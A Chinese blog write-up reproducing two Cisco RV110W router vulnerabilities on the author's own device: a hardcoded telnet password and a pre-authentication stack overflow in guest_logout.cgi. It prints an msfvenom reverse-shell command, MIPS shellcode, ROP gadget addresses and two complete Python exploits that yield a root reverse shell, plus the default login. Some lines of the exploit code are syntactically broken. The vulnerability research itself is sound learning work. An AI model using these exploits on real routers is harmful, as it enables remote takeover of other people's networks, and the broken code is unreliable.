​RV110W路由器漏洞复现

百家 作者:Chamd5安全团队 2021-10-31 08:58:49

xuanxuan老师种草了~,"一定要摸真实的设备"这句话余音绕梁,终于狠下心买了一个二手的RV110W,开始我的路由器漏洞复现之路,希望能学到点东西!

0x00 开端

拿到路由器接上电源网线,电脑连接上RV100W就遇到了第一个问题,怎么进入后台?好吧,萌新没怎么玩过路由器,都是按照路由器背面的IP来登录,好巧不巧,它的背面很干净,啥都没有,看lemon师傅的视频看到10.10.10.1兴致冲冲的去访问,结果进了一个交换机的登录界面,奇了怪了,后来询问lemon师傅,要看路由器的网关IP进去,至此第一个问题顺利解决,初始密码是cisco:cisco

很顺利的进入后台,进入Administration => Firmware/Language Upgrade,看到固件的版本不对,是多少来着忘了,反正很老的一个固件,下面提供了固件的升级,我直接就拿xuanxuan老师的固件刷进去了,等了好一会,它就重启了,再次进入就发现固件版本已经变成1.2.2.5了

[固件链接]https://xuanxuanblingbling.github.io/assets/attachment/RV110W_FW_1.2.2.5.bin

0x01 信息收集

到这,准备工作已经完成了!

那就开始真实环境下的漏洞复现了,首先一般我们想要找一个设备的漏洞,那得先看有什么服务吧!那么从服务很容易联想到端口,所以最开始我们先用端口扫描

 nmap -sU -sT -p0-65535 192.168.1.1

扫完了,就想看看实现,就要对固件进行解包,固件提取拿以前的一张图来看


这里就是xuanxuan老师那边拿的,算是互联网搜索吧!

xuanxuan老师那说要安装sasquatch这个组件,但是在AttifyOs那直接binwalk就开了???可能是AttifyOsbinwalk比较完整吧,不太清楚

解包完成之后,查看busybox的版本是MIPS32小端序的路由器

之后就是搜集漏洞信息

0x02 漏洞利用

CVE-2020-3330

漏洞描述

Cisco Small Business RV110W Wireless-N VPN防火墙路由器的Telnet服务中的漏洞可能允许未经身份验证的远程攻击者完全控制具有高特权帐户的设备。存在此漏洞是因为系统帐户具有默认的静态密码。攻击者可以通过使用此默认帐户连接到受影响的系统来利用此漏洞。成功利用此漏洞可能使攻击者获得对受影响设备的完全控制。

也就是说远程服务中存在弱密码,之前扫到23端口是开着的,所以远程服务很大可能是telnet中存在弱口令,搜索发现大多数文件都是链接到rc这个文件

> find . | xargs grep -ri "admin:\\\$"
Binary file ./sbin/rc matches
grep: ./usr/local/libexec/ipsec/setup: No such file or directory
Binary file ./sbin/rc matches
Binary file ./sbin/gpio_check matches
Binary file ./sbin/write matches
Binary file ./sbin/ca_manage matches
Binary file ./sbin/ses_led matches
Binary file ./sbin/ipsec_fqdn_detect matches
Binary file ./sbin/sendudp matches
Binary file ./sbin/check_ses_led matches
Binary file ./sbin/stats matches
Binary file ./sbin/ddns_update_data matches
Binary file ./sbin/services matches
Binary file ./sbin/restore matches
Binary file ./sbin/info matches
Binary file ./sbin/preinit matches
Binary file ./sbin/qkvpn_rekey matches
Binary file ./sbin/ipsec-up matches
Binary file ./sbin/calc_vpnconn_time matches
Binary file ./sbin/bootnv matches
Binary file ./sbin/ipsec_wanlink matches
Binary file ./sbin/usb_test matches
Binary file ./sbin/icmp_echo matches
Binary file ./sbin/cron_iaprule matches
Binary file ./sbin/waninfo matches
Binary file ./sbin/ntpd matches
Binary file ./sbin/detectwan matches
Binary file ./sbin/ipsec_fw matches
Binary file ./sbin/ddns_success matches
Binary file ./sbin/cpu_usage matches
Binary file ./sbin/cron_aclrule matches
Binary file ./sbin/firewall matches
Binary file ./sbin/generate_md5sum matches
Binary file ./sbin/init matches
Binary file ./sbin/listen matches
Binary file ./sbin/check_ps matches
Binary file ./sbin/snmpdc matches
Binary file ./sbin/process_monitor matches
Binary file ./sbin/rc matches

把放到IDA里面,搜字符串定位关键函数

随便翻下就有了个明文字符串,拿去解一下MD5

密码就出来了,我们就可以通过telnet来传gdbserver就不用拆机器了


CVE-2020-3331/CVE-2020-3323

漏洞描述

Cisco RV110W 基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于基于Web的管理界面未正确验证用户提供的输入数据而引起的。攻击者可以通过向特定设备发送精心设计的请求来利用此漏洞。成功的利用可能使攻击者利用root用户的特权执行任意代码。

总结一下:

  • web管理界面存在漏洞

  • 未正确验证用户提供的输入数据(猜测是栈溢出)

    Diff

1.2.2.5这个固件的版本相对来说比较旧,所以一个很常用的手法就是去diff文件,拿已经修复此漏洞的固件进行diff,能够更容易的去定位漏洞点,diff有俩常见的工具,bindiffdiaphora

bindiff

[bindiff下载链接]https://www.zynamics.com/software.html

.msi下载就行,安装路径为IDA的主目录,之后打开IDA在插件那边就能看见bindiff了,把要比对的文件先打开再保存成idb文件,然后点bindiff选择要比对的idb就能开始比对啦!

ps:user的目录不要有中文,否则你会很不幸

8越往下滑呢!它就越有可能是目标,因为越下面就越不匹配,由于漏洞描述是前台的洞,所以选中的那个函数有可能就是目标,这里简单讲讲我认识什么的前台什么的后台?

前台:与用户进行交互的界面

后台:对用户隐藏的那部分数据处理与逻辑处理

查阅资料得知,每个基本块颜色的说明:

绿色:相同的基本块

黄色:修改的基本块

红色:删掉的基本块

灰色:新加的基本块

可以看到guest_logout_cgi函数看起来跟web服务有点关系,右键view flow graphs就可以查看汇编代码对比,找了半天才找到,就离谱

ps:千万不要直接把两个idb直接丢到idb,不然你会知道什么叫浪费时间(bindiff直接打开的分析速度感人

除此之外,你如果对二进制的漏洞点以及危险函数比较熟悉的话,双击点进去,很容易就看到这个没有限制长度的sscanf,它将过滤掉一些字符串之后输出流到submit_button_value,往上翻看到submit_button_value的类型为const char *,确实是存放在栈上的

sscanf(submit_button_value, "%[^;];%*[^=]=%[^\n]", v29, v28);

现在还不能证明可以劫持返回地址,因为MIPS的汇编还有一个特点是叶子函数的返回地址是存放在寄存器上的,往上翻其实是可以看到调用get_cgi函数,所以guest_logout_cgi并不是叶子函数,到此才能真正的证明此处确实存在栈溢出的漏洞

diaphora

吐了,老是报错整不好了...,bindiff也能用的啦!只不过是看汇编,diaphora可以看源码,下次再补上...

正则匹配

%[ ^;];%*[ ^=]=%[ ^\n]是一个正则表达式,%是代表选择,%*是过滤

  1. %[^;]:分号前的所有字符都要
  2. ;%*[^=]:分号后,等号前的字符都不要
  3. =%[^\n]:等号后,换行符前的所有字符都要

看不是很懂,那就上个demo吧!

#include <stdio.h>

int main(void){

 char var1[5] = "aaa";
 char var2[5] = "bbb";
 char var3[5] = "ccc";
 const char welcome[100] = "wElc0me t= reGuIar @xpr&ss!0n w0rld;";

 sscanf(welcome,"%[^;];%*[^=]=%[^\n]", var1, var2, var3);
 printf("%s\n%s\n%s\n",var1,var2,var3);
 return 0;
}

我们看到运行结果就容易理解一些了:

接下来就是去构造恶意的数据包,那如何去构造一个数据包呢?在前面可以知道这是web端(80端口)的服务,与它通信的协议肯定是http或者是https,所以我们肯定是去构造http的包,学过tcp/ip都知道,http的包是包含方法字段,URL,首部行以及实体的,但是这样太麻烦了,python集成了一个库叫[requests]https://pypi.org/project/requests/,我们只需要构造好相应的参数就可以用它来进行发包了,具体的请求方式可以参考下面的链接:

[requests请求方式]https://blog.csdn.net/u013210620/article/details/80230467

[快速上手— Requests 2.18.1 文档]https://docs.python-requests.org/zh_CN/latest/user/quickstart.html

回到刚刚sscanf溢出,回溯一下到底怎么样才能到底这个分支,想要到达这个分支需要绕过下面四个判断:

  if ( !submit_button_value )
    submit_button_value = "";
  if ( cmac_value && cip_value )
  {
 ...
    }
    if ( VERIFY_MAC_17(cmac_value) && VERIFY_IPv4(cip_value) )
    {
      if ( !strstr(submit_button_value, "status_guestnet.asp") )
        ...

提取一下里面的信息:

  • 一共有三个字段,分别是cmaccipsubmit_button
  • cmaccip的值合法
  • get_cgi("submit_button")不能为空,并且submit_button_value需要包含status_guestnet.asp

但是格式呢?虽然下面出现一些格式,但是经过测试,这三个字段的顺序似乎没有什么关系,因为前面是通过传入指定字符串之后调用get_cgi(),所以就没有必要特别关注他们的顺序了

fprintf(console, "\n  mac=[%s], ip=[%s],submit_button=[%s]\n"
cmac_value, 
cip_value, 
submit_button_value);

逆向出这些信息之后,就可以来构造包了cmaccip只需要填入正常的mac地址和ip地址,submit_button就是我们的溢出目标,在加上必须要包含的字符串status_guestnet.asp就可以加上溢出的字符串了,这里用的是cyclic生成的字符串,因为便于后面测试溢出长度,URL在登录的时候为"https://192.168.1.1/login.cgi",并且在下面看到下面的内容:

fprintf(
    v17,
    "\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
    "guest_logout_cgi",
    5449,
    submit_button_value,
    v29,
    v28);

所以就猜测为"https://192.168.1.1/guest_logout.cgi",由于是通过http来提交表单,所以就存在用什么方法字段来包,我们就不搞这么麻烦了,两个都试试,发送GET报文发现并没有什么事情发生(web页面没有崩溃)

import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","cip":"192.168.1.100","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'}
requests.get(url, data=payload, verify=False, timeout=1)

但是发送方法字段为POST报文的时候,发现web页面在疯狂转圈圈,就是崩了

import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","cip":"192.168.1.100","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'}
requests.post(url, data=payload, verify=False, timeout=1)

确定溢出偏移

崩了就意味着,有漏洞点的存在,那接下来就是调试的事情了,用的是海特实验室的gdbserver,其实还有一个是gef开发者编译的gdbserver

[海特实验室 IOT_Wiki]https://github.com/DasSecurity-HatLab/HatLab_IOT_Wiki

[gef author]https://github.com/hugsy/gdb-static

启动一个窗口起一个简单的http服务器

python2:

➜  python -m SimpleHTTPServer 8080

python3:

➜  python -m http.server 8080

ps:建议启动浏览器复制链接,真的好用!

再启动一个窗口telnet连接上路由器用wget(路由器里面自带的)挂上gdbserver,就可以远程调试了

➜  telnet 192.168.1.1
➜  cd tmp
➜  wget "http://192.168.181.178:8080/home/laohu/Desktop/gdbserver"
➜  chmod +x gdbserver
➜  ps | grep "httpd"
➜  ./gdbserver :1234 --attach 356#看httpd -S的进程号,另一个好像调试不了

传进去之后,恶梦才刚刚开始....我根本想不到这问题出在哪里!尝试换终端(改成dash),换架构(在树莓派上尝试),换目录(换到data目录)之后,终于摸索到了关键原因----gdbserver本身,各位大师傅们的gdbservergdbserver-7.12-mipsel-mips32rel2-v1-sysv ,我死活用不了,我尝试甚至在我朋友上的电脑上尝试都不行,可能大师傅们的电脑是MacOS吧,咱也不知道,咱也不敢问,我最后在换到gdbserver-7.12-mipsel-i-v1-sysv之后,终于可以使用了!

终于...下一个错误来了,gdb-mutilarch进行远程调试的时候,remote上去的时候断不下来,报下面这个错,看到下面capstone好像出现了问题,怀疑是版本过低,重新安装pwntools解决问题

[5年了...Capstone 终于升级到4.0!]https://blog.csdn.net/weixin_33674976/article/details/85219451

[解决方法]https://blog.csdn.net/zhr12321/article/details/116742894

此处,终于看到调试界面了,泪目!!!

来来来,问题怪又来了...,按照大师傅们的做法,按下c之后,输入cyclic 200生成的字符串,就会崩掉,并看到PC寄存器被覆盖...但我...没反应啊!

解决办法就是先在sscanf之前下断点(后面测试其实不用下断点也是一样的,然后再c,接着用exp打一下,就断下来了,原因是因为我们本身就是attachhttpd这个进程,所以这个进程本身还在运行,如果我们打了断点并用exp打过去的话,它就会按照以往正常的业务逻辑去执行,但是再执行的过程中被中断了,所以...就断了下来,再往下走的,我们就能看到PC寄存器被覆盖了!接下来就是常规操作用cyclic -l来计算偏移

确定好溢出的长度就可以开始利用了,基本上都是ROP+shellcode的形式,那么现在就是生成shellcode和泄露libc获取gadget的问题了,如果不是很熟悉可以看看《MIPS PWN入门》

shellcode

shellcode一般来说可以使用以下四种方式获取:

  1. msfvenom
  2. shell-storm
  3. pwntools
  4. 自己编写(简单的shellcode还是可以写写的)

其他都有试过,msf还没试过这里记录一下...msf支持好多版本的shellcode,有点香!

用下面的命令就能生成,注意IP和端口匹配:

➜  msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=192.168.1.100 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py 

可以看到shellcode中并没有'\x00'也就是不存在截断问题,很不错

shellcode =  b""
shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += b"\x01\x01"

总的来说还是:msf更方便好用,并且非常稳。shell-storm找到的种类多,不过偶尔需要手动修改。最后对于真实设备的利用上pwntools会有很多的问题,所以这里不推荐使用pwntools生成shellcode

shell-storm里面的shellcode也是能用的,不过需要修改IP地址

[200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb]http://shell-storm.org/shellcode/files/shellcode-860.php

ROP

既然要ROP,那必然要泄露libc,但是在大部分IOT设备中,地址随机化是不会变化的,包括这个设备,所以在maps中加载的libc地址就是它一直使用的libc地址,无论是重启还是换固件版本甚至在RV130中,libc的基地址都一样,这就省去了很多步骤,下面引用xuanxuan老师的一段话:

问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget

➜  cat /proc/356/maps

可以看到很多libc,而libc.so.0的基地址是2af98000

得到了libc基地址,只让是寻找一些可用的gadget,我们使用IDA的插件----mipsrop,由于安装的时候发现,它对IDA 7.5不是很支持,所以还是出了一些小问题,这里记录一下...

[解决IDA 无法安装mipsrop插件]https://www.jianshu.com/p/0f5923fac8d4

[IDA 无法安装mipsrop插件]https://bbs.pediy.com/thread-266102.htm

安装成功后呢,在search中就能看到mips rop gadgets,点击之后加载了mipsrop插件了

可以用mipsrop.help()查看mipsrop的一些常用命令

[mipsrop常用命令]https://www.cnblogs.com/hac425/p/9416864.html

在上面的程序加载了很多动态链接库,但是却唯独选择了**/lib/libc.so.0**这个动态链接库来寻找gadget,为啥呢?估计是比较熟悉吧!

mipsrop.stackfinders()来寻找一些gadget,这些gadget都是和栈($sp)相关的:

Python>mipsrop.stackfinders()
---------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
---------------------------------------------------------------------------------------------------------
|  0x0000BA84  |  addiu $a1,$sp,0x158+var_A0                          |  jalr  $s0                             |
|  0x00011918  |  addiu $a2,$sp,0x68+var_40                           |  jalr  $s1                             |
|  0x000250A8  |  addiu $s0,$sp,0x278+var_250                         |  jalr  $fp                             |
|  0x000257A0  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s0                             |
|  0x00025CAC  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s3                             |
|  0x0002747C  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s3                             |
|  0x0002CC00  |  addiu $a0,$sp,0x38+var_10                           |  jalr  $s0                             |
|  0x0002CC08  |  addiu $a0,$sp,0x38+var_10                           |  jalr  $s1                             |
|  0x00035DF4  |  addiu $a1,$sp,0x20+var_8                            |  jalr  $s1                             |
|  0x0003D050  |  addiu $a0,$sp,0x30+var_18                           |  jalr  $a0                             |
|  0x000427A8  |  addiu $s0,$sp,0xB8+var_98                           |  jalr  $s6                             |
|  0x00042E04  |  addiu $v1,$sp,0xF0+var_D0                           |  jalr  $s1                             |
|  0x0000D45C  |  addiu $a0,$sp,0x98+var_80                           |  jr    0x98+var_s4($sp)                |
|  0x0000ED70  |  addiu $a1,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
|  0x0001D5FC  |  addiu $a3,$sp,0x28+var_8                            |  jr    0x28+var_s0($sp)                |
|  0x00020100  |  addiu $a0,$sp,0x28+var_10                           |  jr    0x28+var_s0($sp)                |
|  0x0002C060  |  addiu $a0,$sp,0x70+var_58                           |  jr    0x70+var_sC($sp)                |
|  0x0002F800  |  addiu $a1,$sp,0x50+var_38                           |  jr    0x50+var_s0($sp)                |
|  0x00030434  |  addiu $a0,$sp,0x30+var_18                           |  jr    0x30+var_s10($sp)               |
|  0x00039948  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
|  0x000399A0  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
|  0x000399F8  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
|  0x00039A50  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
|  0x00039A90  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
|  0x00039AFC  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
|  0x00039B5C  |  addiu $a1,$sp,0x48+var_30                           |  jr    0x48+var_s0($sp)                |
|  0x0003A844  |  addiu $a0,$sp,0x50+var_38                           |  jr    0x50+var_4($sp)                 |
|  0x0003D05C  |  addiu $a0,$sp,0x30+var_18                           |  jr    0x30+var_s0($sp)                |
|  0x0004BAA8  |  addiu $a1,$sp,0x3020+var_1008                       |  jr    0x3020+var_s24($sp)             |
|  0x0004D314  |  addiu $a2,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
|  0x0004D484  |  addiu $a2,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
|  0x0004D8E4  |  addiu $a2,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
---------------------------------------------------------------------------------------------------------
Found 32 matching gadgets
Python>mipsrop.find("mov $t9,$a0")
---------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
---------------------------------------------------------------------------------------------------------
|  0x0003D050  |  move $t9,$a0                                        |  jalr  $a0                             |
---------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

找到两条可用的gadget

|  0x000257A0  |  addiu $a0,$sp,0x38+var_20  |  jalr  $s0  |

|  0x0003D050  |  move $t9,$a0  |  jalr  $a0  |

算一下溢出到$s0的偏移0x55-0xe4+0xc0 = 0x31(49),其实可以直接用cyclic来计算到$s0的偏移,因为在之前溢出中可以看到$s0被溢出成了'aaan'

➜  cyclic -l 'aaan'
49

再看看shellcode的偏移,暂时还不会在ghidra上用mipsrop的插件,就用了个笨办法,在IDA上先找gadget然后,再来ghidra看偏移,可以看到我们shellcode的偏移为0x18,至此,所有的准备工作已经完成!!!

再启动一个终端,监听shellcode中回连的端口,等待反弹shell

完整exp

import requests
from pwn import *

context(arch='mips',endian='little',os='linux')

libc = 0x2af98000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0
jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0

shellcode =  b""
shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += b"\x01\x01"

pd1 = "status_guestnet.asp" + 'a' * 0x31 + p32(jmp_a0) + 'b' * (85 - 0x31 - 4) + p32(jmp_s0) + 'c' * 0x18 + shellcode

url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
    "cmac""12:af:aa:bb:cc:dd",
    "submit_button": pd1,
    "cip""192.168.1.100"
}

requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=1)

监听的终端已经看到反弹shell了,泪目~

exp的另一种写法,加入pwntoolswait_for_connection模块来实现的,这样就不用开多一个终端监听:

from pwn import *
import thread,requests

context(arch='mips',endian='little',os='linux')


libc = 0x2af98000
jmp_a0 = libc + 0x0003D050  # move $t9,$a0 ; jalr $a0 
jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr $s0 

#LHOST=192.168.1.101 LPORT=8888 
buf =  b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"


url = "https://192.168.1.1/guest_logout.cgi"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}

def attack():
    try
        requests.packages.urllib3.disable_warnings()
        requests.post(url, data=pd2, verify=False,timeout=1)
    except
        pass

io = listen(8888)
#创建一个TCP或UDP套接字以接收数据 
thread.start_new_thread(attack,())
#开始一个新的线程,从attack函数开始运行 
io.wait_for_connection()
#阻塞直到建立连接 
log.success("getshell")
io.interactive()

0x03 总结

xuanxuan老师带坑的第一个真实的IOT设备,复现之路异常坎坷,但不管怎么样最终还是复现出来了,学到不少知识,不过还有一些细节问题还没解决,后面慢慢看吧!加油,路还很长,任重而道远!通过之前的复现,思考到底如何对一个新设备进行漏洞挖掘,我认为在IOT设备中的漏洞挖掘的基本思路:信息收集(扫描端口,查看是否有特殊的接口)-> 提取固件(shell打包,互联网搜索,编程器提取) -> 逆向分析固件(从服务和端口来入手分析,从常见的漏洞点来看,比如MQTT,WEB服务等等,用fuzz固件的方式定位危险函数进而分析) -> 漏洞测试,下面的文章的分析思路还是很清楚的可以参考学习学习:

[海康萤石智能门锁的网关分析]https://bbs.pediy.com/thread-261679-1.htm

0x04 参考文章

[思科路由器 RV110W CVE-2020-3331 漏洞复现]https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/

[360代码卫士帮助思科公司修复多个产品高危安全漏洞(附详细技术分析)]https://www.anquanke.com/post/id/159183

[强网杯2020决赛 Cisco RV110W路由器复现]https://la13x.github.io/2021/08/31/Real-World-Cisco-RV110W/#%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98

[思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞复现]https://xiaoxin.zone/2021/02/06/si-ke-lu-you-qi-rv110w-cve-2020-3331-cve-2020-3323-lou-dong-fu-xian/

end


ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接